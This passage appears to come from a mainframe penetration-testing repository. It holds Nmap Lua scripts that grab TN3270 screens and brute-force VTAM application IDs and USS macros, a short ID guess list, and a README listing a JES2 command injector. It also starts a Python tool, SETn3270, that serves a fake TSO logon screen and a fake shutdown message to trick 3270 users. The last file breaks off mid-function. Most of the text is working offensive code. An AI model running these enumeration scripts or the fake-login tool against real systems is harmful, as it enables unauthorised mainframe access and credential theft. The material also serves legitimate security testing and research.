string.char(0xff,0xfd,0x19) 92 | sock:send(IAC_WILL_TERMINAL_TYPE) 93 | status, handshake = sock:receive_bytes(6) 94 | if status == true and handshake == IAC_SEND_TERMINAL_TYPE then 95 | sock:send(IAC_TERMINAL_TYPE) 96 | status, handshake = sock:receive_bytes(3) 97 | if status == true and handshake:sub(1,3) == IAC_DO then 98 | if TN_PROTOCOLS[1] == "ssl" then 99 | stdnse.verbose(2,"SSL TN3270 Detected") 100 | port.version.product = "Telnet TN3270S" 101 | else 102 | stdnse.verbose(2,"TN3270 Detected") 103 | port.version.product = "Telnet TN3270" 104 | end 105 | port.version.name = "tn3270" 106 | nmap.set_port_version(host, port) 107 | end 108 | end 109 | end -- End telnet handshake test 110 | sock:close() 111 | return 112 | 113 | end -------------------------------------------------------------------------------- /Network Tools/NMAP/tn3270-screen.nse: -------------------------------------------------------------------------------- 1 | local stdnse = require "stdnse" 2 | local shortport = require "shortport" 3 | local tn3270 = require "tn3270" 4 | 5 | description = [[ 6 | Connects to a tn3270 'server' and returns the screen. 7 | ]] 8 | 9 | --- 10 | -- @usage 11 | -- nmap --script tn3270-info,tn3270_screen 12 | -- 13 | -- @output 14 | -- PORT STATE SERVICE VERSION 15 | -- 23/tcp open tn3270 Telnet TN3270 16 | -- | tn3270-screen: 17 | -- | Mainframe Operating System z/OS V1.6 18 | -- | FFFFF AAA N N DDDD EEEEE ZZZZZ H H III 19 | -- | F A A NN N D D E Z H H I 20 | -- | FFFF AAAAA N N N D D EEEE Z HHHHH I 21 | -- | F A A N NN D D E Z H H I 22 | -- | F A A N N DDDD EEEEE ZZZZZ H H III 23 | -- | 24 | -- | ZZZZZ / OOOOO SSSS 25 | -- | Z / O O S 26 | -- | Z / O O SSS 27 | -- | Z / O O S 28 | -- | ZZZZZ / OOOOO SSSS 29 | -- | 30 | -- | Welcome to Fan DeZhi Mainframe System! 31 | -- | 32 | -- | Support: http://zos.efglobe.com 33 | -- | TSO - Logon to TSO/ISPF NETVIEW - Netview System 34 | -- | CICS - CICS System NVAS - Netview Access 35 | -- | IMS - IMS System AOF - Netview Automation 36 | -- | 37 | -- | Enter your choice==> 38 | -- | Hi! Enter one of above commands in red. 39 | -- | 40 | -- |_Your IP(10.10.10.375 :64199), SNA LU( ) 05/30/15 13:33:37 41 | -- 42 | -- @changelog 43 | -- 2015-05-30 - v0.1 - created by Soldier of Fortran 44 | -- 45 | 46 | author = "Soldier of Fortran" 47 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 48 | categories = {"safe", "discovery"} 49 | dependencies = {"tn3270-info"} 50 | 51 | portrule = shortport.port_or_service({23,992,623}, {"tn3270"}) 52 | 53 | action = function(host, port) 54 | local t = Telnet:new() 55 | local status, err = t:initiate(host,port) 56 | if not status then 57 | stdnse.debug("Could not initiate TN3270: %s", err ) 58 | return 59 | else 60 | status = t:get_all_data() 61 | if t:any_hidden() then 62 | local hidden_buggers = t:hidden_fields() 63 | for i = 1, #hidden_buggers do 64 | stdnse.verbose("Hidden Field # %s: %s", i, hidden_buggers[i]) 65 | end 66 | end 67 | return t:get_screen() 68 | end 69 | end -------------------------------------------------------------------------------- /Network Tools/NMAP/vtam-enum.nse: -------------------------------------------------------------------------------- 1 | local stdnse = require "stdnse" 2 | local shortport = require "shortport" 3 | local tn3270 = require "tn3270" 4 | local brute = require "brute" 5 | local creds = require "creds" 6 | local unpwdb = require "unpwdb" 7 | 8 | description = [[ 9 | Many mainframes use VTAM screens to connect to various applications 10 | (CICS, IMS, TSO, and many more). 11 | 12 | This script attempts to brute force those VTAM application IDs. 13 | 14 | This script is based on mainframe_brute by Dominic White 15 | (https://github.com/sensepost/mainframe_brute). However, this script 16 | doesn't rely on any third party libraries or tools and instead uses 17 | the NSE TN3270 library which emulates a TN3270 screen in lua. 18 | 19 | Application IDs only allows for 8 byte IDs, that is the only specific rule 20 | found for application IDs. 21 | ]] 22 | 23 | --@args vtam-enum.idlist Path to list of transaction IDs. 24 | -- Defaults to nselib/data/usernames.lst. 25 | --@args vtam-enum.commands Commands in a semi-colon seperated list needed 26 | -- to access VTAM. Defaults to nothing. 27 | --@args vtam-enum.path Folder used to store valid transaction id 'screenshots' 28 | -- Defaults to None and doesn't store anything. 29 | -- 30 | --@usage 31 | -- nmap --script=vtam-enum -p 23 32 | -- 33 | -- nmap --script=vtam-enum --script-args=vtam-enum.idlist=default_cics.txt, 34 | -- vtam-enum.command="exit;logon applid(cics42)", 35 | -- vtam-enum.path="/home/dade/screenshots/",vtam-enum.noSSL=true -p 23 36 | -- 37 | --@output 38 | -- PORT STATE SERVICE 39 | -- | vtam-enum: 40 | -- | VTAM Application ID: 41 | -- | TSO: Valid - ID 42 | -- | CICS: Valid - ID 43 | -- |_ Statistics: Performed 11 guesses in 60 seconds, average tps: 0 44 | -- 45 | -- @changelog 46 | -- 2015-07-04 - v0.1 - created by Soldier of Fortran 47 | -- 48 | 49 | author = "Soldier of Fortran" 50 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 51 | categories = {"intrusive", "auth"} 52 | dependencies = {"tn3270-info"} 53 | 54 | portrule = shortport.port_or_service({23,992,623}, {"tn3270"}) 55 | 56 | --- Saves the Screen generated by the VTAM command to disk 57 | -- 58 | -- @param filename string containing the name and full path to the file 59 | -- @param data contains the data 60 | -- @return status true on success, false on failure 61 | -- @return err string containing error message if status is false 62 | local function save_screens( filename, data ) 63 | local f = io.open( filename, "w") 64 | if ( not(f) ) then 65 | return false, ("Failed to open file (%s)"):format(filename) 66 | end 67 | if ( not(f:write( data ) ) ) then 68 | return false, ("Failed to write file (%s)"):format(filename) 69 | end 70 | f:close() 71 | 72 | return true 73 | end 74 | 75 | --- Levenshtein Distance Calculator between screens 76 | -- 77 | -- @param str1 first string 78 | -- @param str2 second string 79 | -- @return percantage of screen similarity 80 | -- 81 | -- From: https://gist.github.com/Badgerati/3261142 82 | local function levenshtein(str1, str2) 83 | local len1 = string.len(str1) 84 | local len2 = string.len(str2) 85 | local matrix = {} 86 | local cost = 0 87 | 88 | -- quick cut-offs to save time 89 | if (len1 == 0) then 90 | return len2 91 | elseif (len2 == 0) then 92 | return len1 93 | elseif (str1 == str2) then 94 | return 0 95 | end 96 | 97 | -- initialise the base matrix values 98 | for i = 0, len1, 1 do 99 | matrix[i] = {} 100 | matrix[i][0] = i 101 | end 102 | for j = 0, len2, 1 do 103 | matrix[0][j] = j 104 | end 105 | 106 | -- actual Levenshtein algorithm 107 | for i = 1, len1, 1 do 108 | for j = 1, len2, 1 do 109 | if (str1:byte(i) == str2:byte(j)) then 110 | cost = 0 111 | else 112 | cost = 1 113 | end 114 | 115 | matrix[i][j] = math.min(matrix[i-1][j] + 1, matrix[i][j-1] + 1, matrix[i-1][j-1] + cost) 116 | end 117 | end 118 | 119 | -- return the last value - this is the Levenshtein distance 120 | return ((1920 - matrix[len1][len2]) / 1920) * 100 121 | end 122 | 123 | -- connectionpool for future expansion 124 | local ConnectionPool = {} 125 | 126 | Driver = { 127 | new = function(self, host, port, options) 128 | local o = {} 129 | setmetatable(o, self) 130 | self.__index = self 131 | o.host = host 132 | o.port = port 133 | o.options = options 134 | return o 135 | end, 136 | connect = function( self ) 137 | self.tn3270 = ConnectionPool[coroutine.running()] 138 | local commands = self.options['key1'] 139 | local noSSL = self.options['key3'] 140 | 141 | if ( self.tn3270 ) then return true end 142 | self.tn3270 = Telnet:new() 143 | self.tn3270:disableSSL(noSSL) -- disables SSL 144 | local status, err = self.tn3270:initiate(self.host,self.port) 145 | self.tn3270:get_screen_debug() 146 | if not status then 147 | stdnse.debug("Could not initiate TN3270: %s", err ) 148 | return false, err 149 | end 150 | 151 | if commands ~= nil then 152 | local run = stdnse.strsplit(";%s*", commands) 153 | for i = 1, #run do 154 | stdnse.debug(1,"Issuing Command (#%s of %s) or %s", i, #run ,run[i]) 155 | self.tn3270:send_cursor(run[i]) 156 | self.tn3270:get_all_data() 157 | self.tn3270:get_screen_debug() 158 | end 159 | else 160 | self.tn3270:get_all_data() 161 | self.tn3270:get_screen_debug() 162 | end 163 | ConnectionPool[coroutine.running()] = self.tn3270 164 | return true 165 | end, 166 | disconnect = function( self ) 167 | self.tn3270:disconnect() 168 | self.tn3270 = nil 169 | end, 170 | login = function (self, user, pass) -- pass is actually the username we want to try 171 | local path = self.options['key2'] 172 | stdnse.verbose(2,"Trying VTAM ID: %s", pass) 173 | local previous_screen = self.tn3270:get_screen() 174 | stdnse.debug(2,"===== BEFORE =====") 175 | self.tn3270:get_screen_debug() 176 | self.tn3270:send_cursor("IBMTEST") -- technically just sends enter 177 | self.tn3270:get_all_data() 178 | self.tn3270:send_cursor("logon applid("..pass..")") 179 | self.tn3270:get_all_data() 180 | local current_screen = self.tn3270:get_screen() 181 | stdnse.debug(2,"===== AFTER =====") 182 | 183 | self.tn3270:get_screen_debug() 184 | if (self.tn3270:find('UNABLE TO ESTABLISH SESSION') or 185 | self.tn3270:find('COMMAND UNRECOGNIZED') or 186 | self.tn3270:find('SESSION NOT BOUND') or 187 | self.tn3270:find('INVALID COMMAND') or 188 | self.tn3270:find('PARAMETER OMITTED') or 189 | self.tn3270:find('REQUERIDO PARAMETRO PERDIDO') or 190 | self.tn3270:find('Your command is unrecognized') or 191 | self.tn3270:find('invalid command or syntax') or 192 | self.tn3270:find('UNSUPPORTED FUNCTION') or 193 | self.tn3270:find('REQSESS error') or 194 | self.tn3270:find('syntax invalid') or 195 | self.tn3270:find('INVALID SYSTEM') or 196 | self.tn3270:find('NOT VALID') or 197 | self.tn3270:find('COMMAND UNRECOGNIZED') or 198 | self.tn3270:find('IBMECHO ABCDEFGHIJKLMNOPQRST') or -- disconnect 199 | self.tn3270:find('INVALID USERID, APPLID') ) or 200 | levenshtein(previous_screen,current_screen) == 0 or 201 | levenshtein(previous_screen,current_screen) >= 90 then --disconnect 202 | stdnse.debug(2,'Current Levenshtein: %s', levenshtein(previous_screen,current_screen)) 203 | -- Looks like an invalid APPLID. 204 | -- thanks goes to Domonic White for creating these 205 | ConnectionPool[coroutine.running()] = nil 206 | return false, brute.Error:new( "Invalid VTAM Application ID" ) 207 | else 208 | ConnectionPool[coroutine.running()] = nil 209 | return true, creds.Account:new(string.upper(pass), " Valid", "ID") 210 | 211 | end 212 | 213 | end 214 | } 215 | 216 | 217 | --- Iterator function that returns lines from a file 218 | -- @param userslist Path to file list in data location. 219 | -- @return status false if error. 220 | -- @return string current line. 221 | local vtamiterator = function(list) 222 | local f = nmap.fetchfile(list) or list 223 | if not f then 224 | return false, ("\n ERROR: Couldn't find %s"):format(list) 225 | end 226 | f = io.open(f) 227 | if ( not(f) ) then 228 | return false, ("\n ERROR: Failed to open %s"):format(list) 229 | end 230 | return function() 231 | for line in f:lines() do 232 | return line 233 | end 234 | end 235 | end 236 | 237 | -- Checks if it's a valid VTAM name 238 | local valid_name = function(x) 239 | local patt = "[%w@#%$]" 240 | stdnse.verbose(2,"Checking: %s", x) 241 | return (string.len(x) <= 8 and string.match(x,patt)) 242 | end 243 | 244 | --- Tests the target to see if we can use logon applid() for enumeration 245 | -- 246 | -- @param host host NSE object 247 | -- @param port port NSE object 248 | -- @param commands optional script-args of commands to use to get to CICS 249 | -- @param noSSL by default the TN3270 library tries SSL first. To speed up brute 250 | -- forcing if you know the host doesn't support SSL you disable it with this. 251 | -- @return status true on success, false on failure 252 | local function vtam_test( host, port, commands, noSSL ) 253 | stdnse.debug("Testing VTAM") 254 | local tn = Telnet:new() 255 | stdnse.debug("Connecting TN3270 to %s:%s", host.targetname or host.ip, port.number) 256 | tn:disableSSL(noSSL) 257 | local status, err = tn:initiate(host,port) 258 | if not status then 259 | stdnse.debug("Could not initiate TN3270: %s", err ) 260 | return false 261 | end 262 | stdnse.debug("Displaying initial TN3270 Screen:") 263 | tn:get_screen_debug() -- prints TN3270 screen to debug 264 | stdnse.debug("Sending VTAM command: IBMTEST") 265 | -- we actually send it three time to be certain 266 | if commands ~= nil then 267 | local run = stdnse.strsplit(";%s*", commands) 268 | for i = 1, #run do 269 | stdnse.debug(1,"Issuing Command (#%s of %s) or %s", i, #run ,run[i]) 270 | tn:send_cursor(run[i]) 271 | tn:get_screen_debug() 272 | end 273 | end 274 | 275 | tn:send_cursor('IBMTEST') 276 | tn:get_all_data() 277 | tn:get_screen_debug() 278 | local isVTAM = false 279 | if tn:find('IBMECHO ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') then 280 | stdnse.debug("IBMTEST Returned: IBMECHO ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.") 281 | stdnse.debug("VTAM Test Success!") 282 | isVTAM = true 283 | else 284 | -- try one more time 285 | stdnse.debug("IBMTEST Failed, trying a second time.") 286 | tn:send_cursor('IBMTEST') 287 | tn:get_all_data() 288 | tn:get_screen_debug() 289 | if tn:find('IBMECHO ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') then 290 | stdnse.debug("IBMTEST Returned: IBMECHO ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.") 291 | stdnse.debug("VTAM Test Success!") 292 | isVTAM = true 293 | end 294 | end 295 | -- now testing if we can send 'logon applid()' 296 | tn:send_cursor('LOGON APPLID(FAKE)') 297 | tn:get_all_data() 298 | tn:get_screen_debug() 299 | if tn:find('INVALID USERID') then 300 | isVTAM = false 301 | end 302 | tn:disconnect() 303 | return isVTAM 304 | end 305 | 306 | action = function(host, port) 307 | local result = {} 308 | local status, err 309 | local vtam_id_file = stdnse.get_script_args(SCRIPT_NAME .. ".idlist") 310 | or "nselib/data/usernames.lst" 311 | local path = stdnse.get_script_args(SCRIPT_NAME .. 'path') -- Folder for 'screen shots' 312 | local commands = stdnse.get_script_args(SCRIPT_NAME .. 'command') -- Commands to send to get to VTAM 313 | local noSSL = stdnse.get_script_args(SCRIPT_NAME .. 'noSSL') or false 314 | 315 | if (vtam_test(host, port, commands, noSSL)) then 316 | local options = { key1 = commands, key2 = path, key3=noSSL } 317 | stdnse.debug("Starting VTAM Application ID Enumeration") 318 | local engine = brute.Engine:new(Driver, host, port, options) 319 | engine.options.script_name = SCRIPT_NAME 320 | local iterator, err = vtamiterator(vtam_id_file) 321 | if not iterator then 322 | return err 323 | end 324 | 325 | engine:setPasswordIterator(unpwdb.filter_iterator(iterator,valid_name)) 326 | engine:setMaxThreads(1) 327 | engine.options.passonly = true 328 | engine.options:setTitle("VTAM Application ID") 329 | status, result = engine:start() 330 | else 331 | stdnse.debug("Failed IBMTEST command or doesn't support LOGON APPLID command.") 332 | return false 333 | end 334 | 335 | 336 | return result 337 | 338 | 339 | end -------------------------------------------------------------------------------- /Network Tools/NMAP/vtam-macro-enum.nse: -------------------------------------------------------------------------------- 1 | local stdnse = require "stdnse" 2 | local shortport = require "shortport" 3 | local tn3270 = require "tn3270" 4 | local brute = require "brute" 5 | local creds = require "creds" 6 | local unpwdb = require "unpwdb" 7 | 8 | description = [[ 9 | Many mainframes use USS tables with pre programmed application macros 10 | to allow you to connect to various applications (CICS, IMS, TSO, and many more). 11 | 12 | This script attempts to brute force those macros. 13 | 14 | This script is based on mainframe_brute by Dominic White 15 | (https://github.com/sensepost/mainframe_brute). However, this script 16 | doesn't rely on any third party libraries or tools and instead uses 17 | the NSE TN3270 library which emulates a TN3270 screen in lua. 18 | ]] 19 | 20 | --@args vtam-macro-enum.idlist Path to list of transaction IDs. 21 | -- Defaults to nselib/data/usernames.lst. 22 | --@args vtam-macro-enum.commands Commands in a semi-colon seperated list needed 23 | -- to access CICS. Defaults to nothing. 24 | --@args vtam-macro-enum.path Folder used to store valid transaction id 'screenshots' 25 | -- Defaults to None and doesn't store anything. 26 | -- 27 | --@usage 28 | -- nmap --script=vtam-enum -p 23 29 | -- 30 | -- nmap --script=vtam-enum --script-args= 31 | -- vtam-macro-enum.idlist=default_cics.txt, 32 | -- vtam-macro-enum.command="exit;logon applid(cics42)", 33 | -- vtam-macro-enum.path="/home/dade/screenshots/", 34 | -- vtam-macro-enum.noSSL=true -p 23 35 | -- 36 | --@output 37 | -- PORT STATE SERVICE 38 | -- 23/tcp open tn3270 39 | -- | vtam-enum: 40 | -- | VTAM Application ID: 41 | -- | TSO: Valid - ID 42 | -- |_ Statistics: Performed 6 guesses in 10 seconds, average tps: 0 43 | -- 44 | -- @changelog 45 | -- 2015-07-04 - v0.1 - created by Soldier of Fortran 46 | -- 47 | 48 | author = "Soldier of Fortran" 49 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 50 | categories = {"intrusive", "auth"} 51 | dependencies = {"tn3270-info"} 52 | 53 | portrule = shortport.port_or_service({23,992,623}, {"tn3270"}) 54 | 55 | --- Saves the Screen generated by the VTAM command to disk 56 | -- 57 | -- @param filename string containing the name and full path to the file 58 | -- @param data contains the data 59 | -- @return status true on success, false on failure 60 | -- @return err string containing error message if status is false 61 | local function save_screens( filename, data ) 62 | local f = io.open( filename, "w") 63 | if ( not(f) ) then 64 | return false, ("Failed to open file (%s)"):format(filename) 65 | end 66 | if ( not(f:write( data ) ) ) then 67 | return false, ("Failed to write file (%s)"):format(filename) 68 | end 69 | f:close() 70 | 71 | return true 72 | end 73 | 74 | --- Levenshtein Distance Calculator between screens 75 | -- 76 | -- @param str1 first string 77 | -- @param str2 second string 78 | -- @return percantage of screen similarity 79 | -- 80 | -- From: https://gist.github.com/Badgerati/3261142 81 | local function levenshtein(str1, str2) 82 | local len1 = string.len(str1) 83 | local len2 = string.len(str2) 84 | local matrix = {} 85 | local cost = 0 86 | 87 | -- quick cut-offs to save time 88 | if (len1 == 0) then 89 | return len2 90 | elseif (len2 == 0) then 91 | return len1 92 | elseif (str1 == str2) then 93 | return 0 94 | end 95 | 96 | -- initialise the base matrix values 97 | for i = 0, len1, 1 do 98 | matrix[i] = {} 99 | matrix[i][0] = i 100 | end 101 | for j = 0, len2, 1 do 102 | matrix[0][j] = j 103 | end 104 | 105 | -- actual Levenshtein algorithm 106 | for i = 1, len1, 1 do 107 | for j = 1, len2, 1 do 108 | if (str1:byte(i) == str2:byte(j)) then 109 | cost = 0 110 | else 111 | cost = 1 112 | end 113 | 114 | matrix[i][j] = math.min(matrix[i-1][j] + 1, matrix[i][j-1] + 1, matrix[i-1][j-1] + cost) 115 | end 116 | end 117 | 118 | -- return the last value - this is the Levenshtein distance 119 | return ((1920 - matrix[len1][len2]) / 1920) * 100 120 | end 121 | 122 | -- connectionpool for future expansion 123 | local ConnectionPool = {} 124 | 125 | Driver = { 126 | new = function(self, host, port, options) 127 | local o = {} 128 | setmetatable(o, self) 129 | self.__index = self 130 | o.host = host 131 | o.port = port 132 | o.options = options 133 | return o 134 | end, 135 | connect = function( self ) 136 | self.tn3270 = ConnectionPool[coroutine.running()] 137 | local commands = self.options['key1'] 138 | local noSSL = self.options['key3'] 139 | 140 | if ( self.tn3270 ) then return true end 141 | self.tn3270 = Telnet:new() 142 | self.tn3270:disableSSL(noSSL) -- disables SSL 143 | local status, err = self.tn3270:initiate(self.host,self.port) 144 | self.tn3270:get_screen_debug() 145 | if not status then 146 | stdnse.debug("Could not initiate TN3270: %s", err ) 147 | return false, err 148 | end 149 | 150 | if commands ~= nil then 151 | local run = stdnse.strsplit(";%s*", commands) 152 | for i = 1, #run do 153 | stdnse.debug(1,"Issuing Command (#%s of %s) or %s", i, #run ,run[i]) 154 | self.tn3270:send_cursor(run[i]) 155 | self.tn3270:get_all_data() 156 | self.tn3270:get_screen_debug() 157 | end 158 | else 159 | self.tn3270:get_all_data() 160 | self.tn3270:get_screen_debug() 161 | end 162 | ConnectionPool[coroutine.running()] = self.tn3270 163 | return true 164 | end, 165 | disconnect = function( self ) 166 | self.tn3270:disconnect() 167 | self.tn3270 = nil 168 | end, 169 | login = function (self, user, pass) -- pass is actually the username we want to try 170 | local path = self.options['key2'] 171 | stdnse.verbose(2,"Trying VTAM ID: %s", pass) 172 | local previous_screen = self.tn3270:get_screen() 173 | stdnse.debug(2,"===== BEFORE =====") 174 | self.tn3270:get_screen_debug() 175 | self.tn3270:send_cursor(pass) 176 | self.tn3270:get_all_data() 177 | local current_screen = self.tn3270:get_screen() 178 | stdnse.debug(2,"===== AFTER =====") 179 | 180 | self.tn3270:get_screen_debug() 181 | stdnse.debug(2,'Current Levenshtein: %s', levenshtein(previous_screen,current_screen)) 182 | if (levenshtein(previous_screen,current_screen) >= 90 or 183 | levenshtein(previous_screen,current_screen) == 0 ) then 184 | -- either we got 'invalid command' or we got booted 185 | 186 | -- Looks like an invalid APPLID. 187 | ConnectionPool[coroutine.running()] = nil 188 | return false, brute.Error:new( "Invalid VTAM Application ID" ) 189 | else 190 | ConnectionPool[coroutine.running()] = nil 191 | return true, creds.Account:new(string.upper(pass), " Valid", "ID") 192 | 193 | end 194 | 195 | end 196 | } 197 | 198 | 199 | --- Iterator function that returns lines from a file 200 | -- @param userslist Path to file list in data location. 201 | -- @return status false if error. 202 | -- @return string current line. 203 | local vtamiterator = function(list) 204 | local f = nmap.fetchfile(list) or list 205 | if not f then 206 | return false, ("\n ERROR: Couldn't find %s"):format(list) 207 | end 208 | f = io.open(f) 209 | if ( not(f) ) then 210 | return false, ("\n ERROR: Failed to open %s"):format(list) 211 | end 212 | return function() 213 | for line in f:lines() do 214 | return line 215 | end 216 | end 217 | end 218 | 219 | -- Checks if it's a valid VTAM name 220 | local valid_name = function(x) 221 | local patt = "[%w@#%$]" 222 | stdnse.verbose(2,"Checking: %s", x) 223 | return (string.len(x) <= 8 and string.match(x,patt)) 224 | end 225 | 226 | 227 | action = function(host, port) 228 | local result = {} 229 | local status, err 230 | local vtam_id_file = stdnse.get_script_args(SCRIPT_NAME .. ".idlist") 231 | or "nselib/data/usernames.lst" 232 | local path = stdnse.get_script_args(SCRIPT_NAME .. 'path') -- Folder for 'screen shots' 233 | local commands = stdnse.get_script_args(SCRIPT_NAME .. 'command') -- Commands to send to get to VTAM 234 | local noSSL = stdnse.get_script_args(SCRIPT_NAME .. 'noSSL') or false 235 | local options = { key1 = commands, key2 = path, key3=noSSL } 236 | 237 | stdnse.debug("Starting USS Table Macro Enumeration") 238 | local engine = brute.Engine:new(Driver, host, port, options) 239 | engine.options.script_name = SCRIPT_NAME 240 | local iterator, err = vtamiterator(vtam_id_file) 241 | 242 | if not iterator then 243 | return err 244 | end 245 | 246 | engine:setPasswordIterator(unpwdb.filter_iterator(iterator,valid_name)) 247 | engine:setMaxThreads(1) 248 | engine.options.passonly = true 249 | engine.options:setTitle("Login Macro") 250 | status, result = engine:start() 251 | 252 | 253 | return result 254 | 255 | 256 | end -------------------------------------------------------------------------------- /Network Tools/NMAP/vtam_enum.txt: -------------------------------------------------------------------------------- 1 | TSO 2 | FAKE 3 | CICS 4 | BLEH 5 | IMS 6 | NOWAY 7 | NVAS 8 | DB2 9 | NET 10 | NETVIEW 11 | CICS1 12 | TEST 13 | -------------------------------------------------------------------------------- /Network Tools/README.md: -------------------------------------------------------------------------------- 1 | Network Tools 2 | 3 | 4 | NMAP 5 | Upgrades and enhancements for TN3270 and more! 6 | 7 | iNJEctor 8 | NJE JES2 command injector for z/OS 9 | 10 | SET'n'3270. 11 | Script and library for tricking 3270 users 12 | 13 | -------------------------------------------------------------------------------- /Network Tools/SETn3270/SETn3270.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import tn3270lib 4 | import socket 5 | import time 6 | import ssl 7 | import struct 8 | import select 9 | import SocketServer 10 | import random 11 | import os 12 | import sys 13 | import signal 14 | import binascii 15 | import argparse 16 | from socket import * 17 | import thread 18 | 19 | try: 20 | from OpenSSL import SSL 21 | openssl_available = True 22 | except ImportError: 23 | print "[!!] OpenSSL Library not available. SSL MitM will be disabled." 24 | openssl_available = False 25 | 26 | class c: 27 | BLUE = '\033[94m' 28 | DARKBLUE = '\033[0;34m' 29 | PURPLE = '\033[95m' 30 | GREEN = '\033[92m' 31 | YELLOW = '\033[93m' 32 | RED = '\033[91m' 33 | WHITE = '\033[1;37m' 34 | ENDC = '\033[0m' 35 | DARKGREY = '\033[1;30m' 36 | 37 | 38 | def disable(self): 39 | self.BLUE = '' 40 | self.GREEN = '' 41 | self.YELLOW = '' 42 | self.DARKBLUE = '' 43 | self.PURPLE = '' 44 | seld.WHITE= '' 45 | self.RED = '' 46 | self.ENDC = '' 47 | 48 | 49 | def send_tn(clientsock, data): 50 | clientsock.sendall(data) 51 | 52 | def recv_tn(clientsock, timeout=100): 53 | rready,wready,err = select.select( [clientsock, ], [], [], timeout) 54 | #print len(rready) 55 | if len(rready): 56 | data = clientsock.recv(1920) 57 | else: 58 | data = '' 59 | return data 60 | 61 | def signal_handler(signal, frame): 62 | print c.ENDC+ "\nGAME OVER MAN!\n" 63 | sys.exit(0) 64 | signal.signal(signal.SIGINT, signal_handler) 65 | 66 | def fake_tso(): 67 | tso_hex =("05c71140403c4040401140401de8" 68 | "60606060606060606060606060606060" + 69 | # Uncomment the following line, and then comment the line 70 | # below it for a real TSO logon screen. 71 | # C'mon son I wouldn't make it easy for you! 72 | #"60606060606060606060606060606040e3e2d661c540d3d6c7d6d5406060" + 73 | "6060606060606060606060606060409596e3e2d661c540d3d6c7d6d54060" + 74 | "606060606060606060606060606060606060606060606060606060606060" + 75 | "6060606011c1501de8" + 76 | ########## Uncomment the following lines for a 'real' TSO screen 77 | ########## And comment the lines between the '---------' 78 | #"404040404040404040404040404040404040404040" + 79 | #"404040404040404040404040404040404040404040404040404040404040" + 80 | #"404040404040404040404040404040404040404040404040404040404011" + 81 | #----------- This adds 'DEFCON 23' to each TSO screen, lol ------ 82 | "606060606060606060606060606060606060606060" + 83 | "606060606060606060606040c4c5c6c3d6d540f2f3406060606060606060" + 84 | "606060606060606060606060606060606060606060606060606060604011" + 85 | #---------------------------------------------------------------- 86 | "c2601de84040404040404040404040404040404040404040404040404040" + 87 | "404040404040404040404040404040404040404040404040404040404040" + 88 | "404040404040404040404040404040404040404040404040115b601de8d7" + 89 | "c6f161d7c6f1f3407e7e6e40c885939740404040d7c6f361d7c6f1f5407e" + 90 | "7e6e40d3968796868640404040d7c1f1407e7e6e40c1a3a38595a3899695" + 91 | "40404040d7c1f2407e7e6e40d985a28896a6115cf01de8e896a4409481a8" + 92 | "40998598a485a2a340a29785838986898340888593974089958696999481" + 93 | "a38996954082a8408595a385998995874081407d6f7d408995408195a840" + 94 | "8595a399a840868985938411c3f31de8c595a3859940d3d6c7d6d5409781" + 95 | "99819485a38599a24082859396a67a11c4e31de8d9c1c3c640d3d6c7d6d5" + 96 | "40978199819485a38599a27a11c6d21de85ce4a285998984404040407e7e" + 97 | "7e6e11c6e21dc8404040404040401df011c8f21d6040d781a2a2a6969984" + 98 | "40407e7e7e6e11c9c21d4c00000000000000001df0114df21d6040c18383" + 99 | "a340d5948299407e7e7e6e114ec21dc80000000000000000000000000000" + 100 | "00000000000000000000000000000000000000000000000000001df0114b" + 101 | "d21d6040d79996838584a49985407e7e7e6e114be21dc800000000000000" + 102 | "001df01150d21d6040e289a9854040404040407e7e7e6e1150e21dc80000" + 103 | "00000000001df011d2f21d6040d78599869699944040407e7e7e6e11d3c2" + 104 | "1dc80000001df0114cc21d6040c79996a49740c9848595a340407e7e7e6e" + 105 | "114cd51dc800000000000000001df011c9e21d6040d585a640d781a2a2a6" + 106 | "969984407e7e7e6e11c9f51d4c00000000000000001df011d7f31de8c595" + 107 | "a38599408195407de27d408285869699854085818388409697a389969540" + 108 | "8485a2899985844082859396a67a1d6011d9c71de84011d9c91dc8401df0" + 109 | "60d596948189931d6011d9d71de84011d9d91dc8401df060d5969596a389" + 110 | "83851d6011d9e81de84011d96a1dc8001df060d985839695958583a31d60" + 111 | "11d97a1de84011d97c1dc8401df060d6c9c483819984401d6011d5d21d60" + 112 | "40c39694948195844040407e7e7e6e11d5e21dc800000000000000000000" + 113 | "000000000000000000000000000000000000000000000000000000000000" + 114 | "0000000000000000000000000000000000000000000000000000000000" + 115 | "00000000000000000000001df011c7c21d7c40e285839381828593404040" + 116 | "40407e7e7e6e11c7d51d7c40404040404040401df011c6e313") 117 | tso = binascii.unhexlify(tso_hex) 118 | return tso 119 | 120 | def fake_goodbye(text="System Shutdown. Please connect to production LPAR."): 121 | goodbye = binascii.unhexlify("05c21d40") + text.decode('utf-8').encode('EBCDIC-CP-BE') + binascii.unhexlify("11c47f1d4013") 122 | return goodbye 123 | 124 | def get_data(tn3270, data, buff): 125 | if len(data) <= 5: 126 | return 127 | if data[0] == tn3270lib.ENTER or data[5] == tn3270lib.ENTER: #did the client send an enter? 128 | tn3270.msg("AID Enter (0x7d) received!") 129 | if data[0] == tn3270lib.ENTER: #tn3270 mode 130 | i = 1 131 | else: #tn3270E mode 132 | i = 6 133 | cursor_location = data[i:i+2] 134 | i += 2 135 | while i <= len(data)-3: #the last two chars will be IAC SE (0xFFEF) 136 | tn3270.msg("Current Position: " + str(i) + " of " + str(len(data)-3)) 137 | cp = data[i] 138 | if cp == tn3270lib.SBA: 139 | tn3270.msg("Set Buffer Address (SBA) 0x11") 140 | buff_addr = tn3270.DECODE_BADDR( struct.unpack(">B", data[i + 1])[0], 141 | struct.unpack(">B", data[i + 2])[0]) 142 | tn3270.msg("Buffer Address: %r", buff_addr) 143 | tn3270.msg("Row: %r" , tn3270.BA_TO_ROW(buff_addr)) 144 | tn3270.msg("Col: %r" , tn3270.BA_TO_COL(buff_addr)) 145 | i += 3 146 | else: 147 | ascii_char = cp.decode('EBCDIC-CP-BE').encode('utf-8') 148 | tn3270.msg("Inserting "+ ascii_char + " (%r) at the following location:", data[i]) 149 | tn3270.msg("Row: %r" , tn3270.BA_TO_ROW(buff_addr)) 150 | tn3270.msg("Col: %r" , tn3270.BA_TO_COL(buff_addr)) 151 | tn3270.msg("Buffer Address: 